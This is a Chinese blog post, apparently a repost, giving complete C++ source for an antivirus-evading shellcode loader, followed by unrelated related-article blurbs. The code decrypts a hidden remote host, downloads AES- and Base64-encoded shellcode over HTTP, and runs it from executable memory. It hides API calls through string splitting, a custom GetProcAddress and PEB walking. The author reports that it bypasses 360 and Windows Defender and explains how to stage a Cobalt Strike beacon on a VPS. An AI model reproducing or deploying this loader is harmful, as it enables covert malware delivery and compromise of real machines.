    IMAGE_DATA_DIRECTORY exportDirectory = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    IMAGE_EXPORT_DIRECTORY* pExportDir = (IMAGE_EXPORT_DIRECTORY*)(pImageBase + exportDirectory.VirtualAddress);

    DWORD* pAddressOfFunctions = (DWORD*)(pImageBase + pExportDir->AddressOfFunctions);
    WORD* pAddressOfNameOrdinals = (WORD*)(pImageBase + pExportDir->AddressOfNameOrdinals);
    DWORD* pAddressOfNames = (DWORD*)(pImageBase + pExportDir->AddressOfNames);

    for (DWORD i = 0; i < pExportDir->NumberOfNames; ++i) {
        LPCSTR pName = (LPCSTR)(pImageBase + pAddressOfNames[i]);
        if (strcmp(lpProcName, pName) == 0) {
            WORD ordinal = pAddressOfNameOrdinals[i];
            DWORD functionRVA = pAddressOfFunctions[ordinal];
            FARPROC pFunction = (FARPROC)(pImageBase + functionRVA);
            return pFunction;
        }
    }

    return NULL;
}




void decode(string& c, int key[]) {
    int len = c.size();
    for (int i = 0; i < len; i++) {
        c[i] = c[i] ^ key[i % 7]; //使用循环遍历字符串 c 中的每个字符。在每次迭代中,执行异或操作 c[i] ^ key[i % 7],将字符串的当前字符与密钥数组中对应位置的值进行异或运算。
    }
}


//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{
    string strData = ko::Base64::decode(strSrc);
    size_t length = strData.length();
    //密文
    char* szDataIn = new char[length + 1];
    memcpy(szDataIn, strData.c_str(), length + 1);
    //明文
    char* szDataOut = new char[length + 1];
    memcpy(szDataOut, strData.c_str(), length + 1);

    //进行AES的CBC模式解密
    AES aes;
    aes.MakeKey(g_key, g_iv, 16, 16);
    aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);

    //去PKCS7Padding填充
    if (0x00 < szDataOut[length - 1] <= 0x16)
    {
        int tmp = szDataOut[length - 1];
        for (int i = length - 1; i >= length - tmp; i--)
        {
            if (szDataOut[i] != tmp)
            {
                memset(szDataOut, 0, length);
                cout << "去填充失败!解密出错!!" << endl;
                break;
            }
            else
                szDataOut[i] = 0;
        }
    }
    string strDest(szDataOut);
    delete[] szDataIn;
    delete[] szDataOut;
    return strDest;
}

int key[] = { 1,2,3,4,5,6,7 };

int main()
{
    void* axac;
    int payload_len = 500000;   //shellcode大小  


    string enhost = "nlwJ3dl9R+5otLOXHiZ6xxxx";   //远程下载的主机的ip
    string dehost = DecryptionAES(enhost);
    // 将 std::string 转换为宽字符串 LPCWSTR
    int hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);
    LPWSTR hostLPCWSTR = new WCHAR[hostLen];
    MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);

    WORD port = 8000;   //端口
    string enpath = "EkYwlGs7z8OzXAEs7rszZA==";   //对应的文件
    string depath = DecryptionAES(enpath);
    // 将 std::string 转换为宽字符串 LPCWSTR
    int pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);
    LPWSTR pathLPCWSTR = new WCHAR[pathLen];
    MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);


    HINTERNET session;
    HINTERNET conn;
    HINTERNET reqfile;
    DWORD nread;

    char xyVAc[] = { 'V','i','r','t','u','a','l','A','l','l','o','c',0 };
    VirtualAllocT pVAc = (VirtualAllocT)CustomGetProcAddress(LoadLibrary(L"kernel32.dll"), xyVAc);
    axac = pVAc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    //exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);   //申请内存  1

    //使用默认设置创建会话
    char xyIto[] = { 'I','n','t','e','r','n','e','t','O','p','e','n','W',0 };
    InternetOpenW_T pItO = (InternetOpenW_T)CustomGetProcAddress(LoadLibrary(L"wininet.dll"), xyIto);
    //session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);  2
    session = pItO(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

    //连接到目标主机
    char xyItC[] = { 'I','n','t','e','r','n','e','t','C','o','n','n','e','c','t','W',0 };
    InternetConnectW_T pItC = (InternetConnectW_T)CustomGetProcAddress(LoadLibrary(L"wininet.dll"), xyItC);
    //conn = InternetConnect(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);  3
    conn = pItC(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);

    //创建请求
    char xyHOR[] = { 'H','t','t','p','O','p','e','n','R','e','q','u','e','s','t','W',0 };
    HttpOpenRequestW_T pHOR = (HttpOpenRequestW_T)CustomGetProcAddress(LoadLibrary(L"wininet.dll"), xyHOR);
    //reqfile = HttpOpenRequest(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);  4
    reqfile = pHOR(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);


    //发送请求并读取响应
    char xyHSR[] = { 'H','t','t','p','S','e','n','d','R','e','q','u','e','s','t','W',0 };
    HttpSendRequestW_T pHSR = (HttpSendRequestW_T)CustomGetProcAddress(LoadLibrary(L"wininet.dll"), xyHSR);
    //HttpSendRequest(reqfile, NULL, 0, 0, 0);  5
    pHSR(reqfile, NULL, 0, 0, 0);


    char xyIRF[] = { 'I','n','t','e','r','n','e','t','R','e','a','d','F','i','l','e',0 };
    InternetReadFile_T pIRF = (InternetReadFile_T)CustomGetProcAddress(LoadLibrary(L"wininet.dll"), xyIRF);
    //InternetReadFile(reqfile, exec, payload_len, &nread);  6
    pIRF(reqfile, axac, payload_len, &nread);


    // Convert the vector to Base64-encoded string
    std::string AESEncodedContent(reinterpret_cast<const char*>(axac), nread);
    std::string base64DecodedContent;


    //base64EncodedContent = ko::Base64::encode(base64EncodedContent);

    string AESDecodedContent = DecryptionAES(AESEncodedContent);
    base64DecodedContent = ko::Base64::decode(AESDecodedContent);


    //void* alloc = VirtualAlloc(NULL, base64DecodedContent.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    void* elloc = pVAc(NULL, base64DecodedContent.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (elloc == nullptr) {
        std::cerr << "Failed to allocate memory." << std::endl;
        return 1;
    }

    // Copy decoded content to allocated memory
    memcpy(elloc, base64DecodedContent.data(), base64DecodedContent.size());


    // Execute the allocated content
    void (*shellcode)() = reinterpret_cast<void(*)()>(elloc);
    shellcode();


    // Free the allocated memory
    VirtualFree(elloc, 0, MEM_RELEASE);

    //((void(*)())exec)();

    //Save the Base64-encoded content to a file
    //std::ofstream outFile("base64_encoded_content.txt", std::ios::out);
    //outFile << base64EncodedContent;
    //outFile.close();



    //关闭所有句柄
    InternetCloseHandle(reqfile);
    InternetCloseHandle(conn);
    InternetCloseHandle(session);
}

接下来我们把敏感函数规避下,还有内存方面的规避,还有虚拟机的检测

敏感函数规避
LoadLibrary(L"kernel32.dll")改成getKernel32Address
使用于x64机器下
在这里插入图片描述
在这里插入图片描述
那么接下来我们把LoadLibrary(L"wininet.dll")也换掉

HMODULE getWininetAddress()
{
    HMODULE hWininet = nullptr;

    // 获取模块句柄
    hWininet = GetModuleHandle(L"wininet.dll");

    return hWininet;
}

在这里插入图片描述
在这里插入图片描述
成功上线,这里过的是360安全卫士,我们看看360杀毒效果咋样
在这里插入图片描述
360杀毒软件和360安全卫士静态扫描加上线全过了

完整代码

// ConsoleApplication9.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include "base64.h"
#include "AES.h"
#include <vector>
#include <fstream>
#include "need.h"




extern "C" PVOID64 _cdecl GetPeb();
using namespace std;

#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")


typedef LPVOID(WINAPI* VirtualAllocT)(
    _In_opt_ LPVOID lpAddress,
    _In_     SIZE_T dwSize,
    _In_     DWORD flAllocationType,
    _In_     DWORD flProtect
    );

typedef HINTERNET(WINAPI* InternetOpenW_T)(
    _In_opt_ LPCWSTR lpszAgent,
    _In_ DWORD dwAccessType,
    _In_opt_ LPCWSTR lpszProxy,
    _In_opt_ LPCWSTR lpszProxyBypass,
    _In_ DWORD dwFlags
    );

typedef HINTERNET(WINAPI* InternetConnectW_T)(
    _In_ HINTERNET hInternet,
    _In_ LPCWSTR lpszServerName,
    _In_ INTERNET_PORT nServerPort,
    _In_opt_ LPCWSTR lpszUserName,
    _In_opt_ LPCWSTR lpszPassword,
    _In_ DWORD dwService,
    _In_ DWORD dwFlags,
    _In_opt_ DWORD_PTR dwContext
    );

typedef HINTERNET(WINAPI* HttpOpenRequestW_T)(
    _In_ HINTERNET hConnect,
    _In_opt_ LPCWSTR lpszVerb,
    _In_opt_ LPCWSTR lpszObjectName,
    _In_opt_ LPCWSTR lpszVersion,
    _In_opt_ LPCWSTR lpszReferrer,
    _In_opt_z_ LPCWSTR FAR* lplpszAcceptTypes,
    _In_ DWORD dwFlags,
    _In_opt_ DWORD_PTR dwContext
    );

typedef HINTERNET(WINAPI* HttpSendRequestW_T)(
    _In_ HINTERNET hRequest,
    _In_reads_opt_(dwHeadersLength) LPCWSTR lpszHeaders,
    _In_ DWORD dwHeadersLength,
    _In_reads_bytes_opt_(dwOptionalLength) LPVOID lpOptional,
    _In_ DWORD dwOptionalLength
    );

typedef HINTERNET(WINAPI* InternetReadFile_T)(
    _In_ HINTERNET hFile,
    _Out_writes_bytes_(dwNumberOfBytesToRead) __out_data_source(NETWORK) LPVOID lpBuffer,
    _In_ DWORD dwNumberOfBytesToRead,
    _Out_ LPDWORD lpdwNumberOfBytesRead
    );


HMODULE getKernel32Address()
{
    PVOID64 Peb = GetPeb();
    PVOID64 LDR_DATA_Addr = *(PVOID64**)((BYTE*)Peb + 0x018);  //0x018是LDR相对于PEB偏移   存放着LDR的基地址
    UNICODE_STRING* FullName;
    HMODULE hKernel32 = NULL;
    LIST_ENTRY* pNode = NULL;
    pNode = (LIST_ENTRY*)(*(PVOID64**)((BYTE*)LDR_DATA_Addr + 0x30));  //偏移到InInitializationOrderModuleList
    while (true)
    {
        FullName = (UNICODE_STRING*)((BYTE*)pNode + 0x38);//BaseDllName基于InInitialzationOrderModuList的偏移
        if (*(FullName->Buffer + 12) == '\0')
        {
            hKernel32 = (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10)));//DllBase
            break;
        }
        pNode = pNode->Flink;
    }
    return hKernel32;
}

//HMODULE getWininetAddress()
//{
//    PVOID64 Peb = GetPeb();
//    PVOID64 LDR_DATA_Addr = *(PVOID64*)((BYTE*)Peb + 0x018);  // 0x018 是 LDR 相对于 PEB 的偏移,存放着 LDR 的基地址
//    UNICODE_STRING* FullName;
//    HMODULE hWininet = nullptr;
//    LIST_ENTRY* pNode = nullptr;
//    pNode = (LIST_ENTRY*)(*(PVOID64*)((BYTE*)LDR_DATA_Addr + 0x30));  // 偏移到 InInitializationOrderModuleList
//    while (true)
//    {
//        FullName = (UNICODE_STRING*)((BYTE*)pNode + 0x38);  // BaseDllName 基于 InInitializationOrderModuList 的偏移
//        if (wcsstr(FullName->Buffer, L"wininet.dll") != nullptr)
//        {
//            hWininet = (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10)));  // DllBase
//            break;
//        }
//        pNode = pNode->Flink;
//    }
//    return hWininet;
//}

HMODULE getWininetAddress()
{
    HMODULE hWininet = nullptr;

    // 获取模块句柄
    hWininet = GetModuleHandle(L"wininet.dll");

    return hWininet;
}

FARPROC CustomGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
    // Get the address of the module's PE header
    BYTE* pImageBase = (BYTE*)hModule;
    IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)pImageBase;
    IMAGE_NT_HEADERS64* pNtHeaders = (IMAGE_NT_HEADERS64*)(pImageBase + pDosHeader->e_lfanew);

    // Get the address of the export directory
    IMAGE_DATA_DIRECTORY exportDirectory = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    IMAGE_EXPORT_DIRECTORY* pExportDir = (IMAGE_EXPORT_DIRECTORY*)(pImageBase + exportDirectory.VirtualAddress);

    DWORD* pAddressOfFunctions = (DWORD*)(pImageBase + pExportDir->AddressOfFunctions);
    WORD* pAddressOfNameOrdinals = (WORD*)(pImageBase + pExportDir->AddressOfNameOrdinals);
    DWORD* pAddressOfNames = (DWORD*)(pImageBase + pExportDir->AddressOfNames);

    for (DWORD i = 0; i < pExportDir->NumberOfNames; ++i) {
        LPCSTR pName = (LPCSTR)(pImageBase + pAddressOfNames[i]);
        if (strcmp(lpProcName, pName) == 0) {
            WORD ordinal = pAddressOfNameOrdinals[i];
            DWORD functionRVA = pAddressOfFunctions[ordinal];
            FARPROC pFunction = (FARPROC)(pImageBase + functionRVA);
            return pFunction;
        }
    }

    return NULL;
}

//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{
    string strData = ko::Base64::decode(strSrc);
    size_t length = strData.length();
    //密文
    char* szDataIn = new char[length + 1];
    memcpy(szDataIn, strData.c_str(), length + 1);
    //明文
    char* szDataOut = new char[length + 1];
    memcpy(szDataOut, strData.c_str(), length + 1);

    //进行AES的CBC模式解密
    AES aes;
    aes.MakeKey(g_key, g_iv, 16, 16);
    aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);

    //去PKCS7Padding填充
    if (0x00 < szDataOut[length - 1] <= 0x16)
    {
        int tmp = szDataOut[length - 1];
        for (int i = length - 1; i >= length - tmp; i--)
        {
            if (szDataOut[i] != tmp)
            {
                memset(szDataOut, 0, length);
                cout << "去填充失败!解密出错!!" << endl;
                break;
            }
            else
                szDataOut[i] = 0;
        }
    }
    string strDest(szDataOut);
    delete[] szDataIn;
    delete[] szDataOut;
    return strDest;
}

int key[] = { 1,2,3,4,5,6,7 };

int main()
{
    void* axac;
    int payload_len = 500000;   


    string enhost = "nlwJ3dl9R+5otLOXHiZ6xxxx";   //远程下载的主机的ip
    string dehost = DecryptionAES(enhost);

    int hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);
    LPWSTR hostLPCWSTR = new WCHAR[hostLen];
    MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);

    WORD port = 8000;   
    string enpath = "EkYwlGs7z8OzXAEs7rszZA==";   //对应的文件
    string depath = DecryptionAES(enpath);

    int pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);
    LPWSTR pathLPCWSTR = new WCHAR[pathLen];
    MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);


    HINTERNET session;
    HINTERNET conn;
    HINTERNET reqfile;
    DWORD nread;

    char xyVAc[] = { 'V','i','r','t','u','a','l','A','l','l','o','c',0 };
    VirtualAllocT pVAc = (VirtualAllocT)CustomGetProcAddress((HMODULE)getKernel32Address(), xyVAc);
    axac = pVAc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    //使用默认设置创建会话
    char xyIto[] = { 'I','n','t','e','r','n','e','t','O','p','e','n','W',0 };
    InternetOpenW_T pItO = (InternetOpenW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyIto);
    session = pItO(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

    //连接到目标主机
    char xyItC[] = { 'I','n','t','e','r','n','e','t','C','o','n','n','e','c','t','W',0 };
    InternetConnectW_T pItC = (InternetConnectW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyItC);
    conn = pItC(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);

    //创建请求
    char xyHOR[] = { 'H','t','t','p','O','p','e','n','R','e','q','u','e','s','t','W',0 };
    HttpOpenRequestW_T pHOR = (HttpOpenRequestW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyHOR);
    reqfile = pHOR(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);


    //发送请求并读取响应
    char xyHSR[] = { 'H','t','t','p','S','e','n','d','R','e','q','u','e','s','t','W',0 };
    HttpSendRequestW_T pHSR = (HttpSendRequestW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyHSR);
    pHSR(reqfile, NULL, 0, 0, 0);


    char xyIRF[] = { 'I','n','t','e','r','n','e','t','R','e','a','d','F','i','l','e',0 };
    InternetReadFile_T pIRF = (InternetReadFile_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyIRF);
    pIRF(reqfile, axac, payload_len, &nread);


    std::string AESEncodedContent(reinterpret_cast<const char*>(axac), nread);
    std::string base64DecodedContent;



    string AESDecodedContent = DecryptionAES(AESEncodedContent);
    base64DecodedContent = ko::Base64::decode(AESDecodedContent);


    void* elloc = pVAc(NULL, base64DecodedContent.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (elloc == nullptr) {
        std::cerr << "Failed to allocate memory." << std::endl;
        return 1;
    }

    memcpy(elloc, base64DecodedContent.data(), base64DecodedContent.size());


    void (*shellcode)() = reinterpret_cast<void(*)()>(elloc);
    shellcode();


    VirtualFree(elloc, 0, MEM_RELEASE);


    //关闭所有句柄
    InternetCloseHandle(reqfile);
    InternetCloseHandle(conn);
    InternetCloseHandle(session);
}

在这里插入图片描述
更新到最新病毒库
在这里插入图片描述
可以看到没问题的
Windows defender试试
在这里插入图片描述
在这里插入图片描述
总共的手法又
1.请求的url进行了aes加密
2.远端的shellcode进行了先base64加密,再进行aes加密
3.导出表隐藏做了字符串打散,和自定义函数结构体(相当于重写改名)
4.进行了library的改写,通过改写成在x64下获得kernel32.dll和wininet.dll分别对照getKernel32Address函数和getWininetAddress函数
5.进行了GetProcAddress函数的改写,对照函数CustomGetProcAddress

项目使用,先base64编译bin文件,然后aes编译生成的a.txt文件
test.txt是base64加密beacon811.bin的文件
aesencode.txt是aes加密test.txt后的文件
将aesencode.txt放到vps上
开启python3 -m http.server

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/942776.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

浅析三维模型OBJ格式轻量化压缩集群处理方法

浅析三维模型OBJ格式轻量化压缩集群处理方法 三维模型的OBJ格式轻量化压缩是指通过一系列技术和方法将三维模型的文件大小进一步减小&#xff0c;以提高模型在计算机中的加载、传输和存储效率。集群处理技术是指利用多台计算机构成的集群来并行处理任务&#xff0c;以加速计算过…

FPGA GTX全网最细讲解,aurora 8b/10b协议,HDMI板对板视频传输,提供2套工程源码和技术支持

目录 1、前言免责声明 2、我这里已有的 GT 高速接口解决方案3、GTX 全网最细解读GTX 基本结构GTX 发送和接收处理流程GTX 的参考时钟GTX 发送接口GTX 接收接口GTX IP核调用和使用 4、设计思路框架视频源选择IT6802解码芯片配置及采集动态彩条视频数据组包GTX aurora 8b/10b数据…

激活函数总结(二十三):激活函数补充(Piecewise Linear Unit、CLL)

激活函数总结&#xff08;二十三&#xff09;&#xff1a;激活函数补充 1 引言2 激活函数2.1 Piecewise Linear Unit激活函数2.2 Complementary Log-Log (CLL)激活函数 3. 总结 1 引言 在前面的文章中已经介绍了介绍了一系列激活函数 (Sigmoid、Tanh、ReLU、Leaky ReLU、PReLU…

数学建模:BP神经网络模型及其优化

&#x1f506; 文章首发于我的个人博客&#xff1a;欢迎大佬们来逛逛 文章目录 BP神经网络算法流程代码实现 神经网络的超参数优化代码实现 神经网络的分类 BP神经网络 算法流程 设 x 1 , x 2 , . . . , x i x_1,x_2,...,x_i x1​,x2​,...,xi​ 为输入变量&#xff0c; y y y…

图像分类学习笔记(六)——ResNeXt

一、要点 ResNeXt是ResNet的小幅升级&#xff0c;更新了block 左边&#xff08;ResNet的block/50/101/152层&#xff09;&#xff1a; 对于输入通道为256的特征矩阵&#xff0c;首先使用64个11的卷积核进行降维&#xff0c;再通过64个33的卷积核处理&#xff0c;再通过256个1…

volatile考点分析

今天我们学习并发编程中另一个重要的关键字volatile&#xff0c;虽然面试中它的占比低于synchronized&#xff0c;但依旧是不可忽略的内容。 关于volatile&#xff0c;我收集到了8个常见考点&#xff0c;围绕应用&#xff0c;特点和实现原理。 volatile有什么作用&#xff1f…

第六章:数据结构与算法-part2:数据的存储结构

文章目录 一、一般线性表存储1.1、线性表顺序存储1.2、线性表的链式存储1.2.1、 单链表1、单链表的存储2、单链表的基本操作的实现 1.2.2、双向链表 二、栈的存储结构2.1 顺序栈2.1.1、顺序栈的操作1、 初始化空栈2、插入3、删除操作pop4、获取栈顶元素 2.2 链栈 三、队列的存储…

精进面试技巧:如何在程序员面试中脱颖而出

&#x1f337;&#x1f341; 博主猫头虎 带您 Go to New World.✨&#x1f341; &#x1f984; 博客首页——猫头虎的博客&#x1f390; &#x1f433;《面试题大全专栏》 文章图文并茂&#x1f995;生动形象&#x1f996;简单易学&#xff01;欢迎大家来踩踩~&#x1f33a; &a…

Docker harbor 私有仓库的部署和管理

目录 一、什么是Harbor 二、Harbor的特性 三、Harbor的构成 四、部署配置Docker Harbor 1. 首先需要安装 Docker-Compose 服务 2.部署 Harbor 服务 3.使用harbor仓库 &#xff08;1&#xff09;项目管理 &#xff08;2&#xff09;用户管理 一、什么是Harbor Harbor …

面试前的准备:程序员应该如何备战面试

&#x1f337;&#x1f341; 博主猫头虎 带您 Go to New World.✨&#x1f341; &#x1f984; 博客首页——猫头虎的博客&#x1f390; &#x1f433;《面试题大全专栏》 文章图文并茂&#x1f995;生动形象&#x1f996;简单易学&#xff01;欢迎大家来踩踩~&#x1f33a; &a…

JavaScript 开发的asp网页获取RFID读卡器以http协议Request提交的访问文件,Response回应驱动设备显示文字

本示例使用的设备&#xff1a; 液显WIFI无线网络HTTP协议RFID云读卡器可编程实时可控开关TTS语-淘宝网 (taobao.com) <%LANGUAGE"JavaScript" CODEPAGE"65001"%><% //格式化显示系统日期时钟 function formatDate(time){var date new Date(time…

HAproxy(四十七)

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 目录 前言 一、概述 1.1 简介 1.2 核心功能 1.3 关键特性 1.4 应用场景 二、安装 1.内核配置 2.编译安装 ​3. 建立配置文件 4. 添加为系统服务 5. 添加3和5运行级别下自启动…

数据恢复软件EasyRecovery16最新版本下载安装激活教程

EasyRecovery16作为一款专业的数据电脑恢复软件&#xff0c;除了有着优秀的数据恢复能力外&#xff0c;还有许多便捷的操作技巧。即便是对于计算机很是白目的使用者来说&#xff0c;Ontack EasyRecovery也是值得入手的&#xff0c;使用者不必大费周章去备份重要的文件&#xff…

通达信股票接口怎么设计委托撤单模块?(通达信接口开发)

在股市里运用到的设计委托撤单模块的主要目标是实现通过通达信股票接口提交委托和撤单操作。以下是设计委托撤单模块的一般步骤&#xff1a; 1. 连接通达信接口&#xff1a;首先需要使用通达信股票接口连接到通达信系统软件&#xff0c;以便能够与交易系统进行通信。这通常涉及…

SpringBoot项目(jar)部署,启动脚本

需求 SpringBoot项目&#xff08;jar&#xff09;部署&#xff0c;需要先关闭原来启动的项目&#xff0c;再启动新的项目。直接输入命令&#xff0c;费时费力&#xff0c;还容易出错。所以&#xff0c;使用脚本启动。 脚本 脚本名&#xff1a;start.sh 此脚本需要放置在jar包…

三维模型OBJ格式轻量化压缩并行计算处理方法浅析

三维模型OBJ格式轻量化压缩并行计算处理方法浅析 三维模型的轻量化是指通过一系列技术和算法来减小三维模型的文件大小&#xff0c;以提高模型在计算机中的加载、渲染和传输效率。并行计算是利用多个计算单元同时执行任务&#xff0c;以加速计算过程的一种技术。在三维模型的O…

Dubbo指标埋点

1. 指标接入说明 2. 指标体系设计 Dubbo的指标体系&#xff0c;总共涉及三块&#xff0c;指标收集、本地聚合、指标推送 指标收集&#xff1a;将Dubbo内部需要监控的指标推送至统一的Collector中进行存储本地聚合&#xff1a;指标收集获取的均为基础指标&#xff0c;而一些分…

OpenAI推出ChatGPT企业版,提供更高安全和隐私保障

&#x1f989; AI新闻 &#x1f680; OpenAI推出ChatGPT企业版&#xff0c;提供更高安全和隐私保障 摘要&#xff1a;OpenAI发布了面向企业用户的ChatGPT企业版&#xff0c;用户可以无限制地访问强大的GPT-4模型&#xff0c;进行更深入的数据分析&#xff0c;并且拥有完全控制…

2023.8.24 关于 Selenium 的简单示例

目录 Selenium 是什么 Selenium 特点 Selenium 工作原理 流程图 使用 Selenium 实现一个简单自动化测试用例 Selenium 是什么 Selenium 是用来测试 Web 应用程序的功能和用户界面的 开源自动化测试工具 Selenium 特点 支持各种浏览器&#xff08;Chrome、Firefox、Safari&…

白皮书发布丨《多渠道协同,银行业数字化营销实践新范式》

数字化时代&#xff0c;银行业步入存量竞争阶段&#xff0c;各家银行在寻找新的市场增长点的同时&#xff0c;更重视现有客户的管理和挖掘&#xff0c;实现客户价值最大化。多渠道协同客群经营已经成为存量时代银行发展的核心竞争力。 神策数据今日发布《多渠道协同&#xff0c…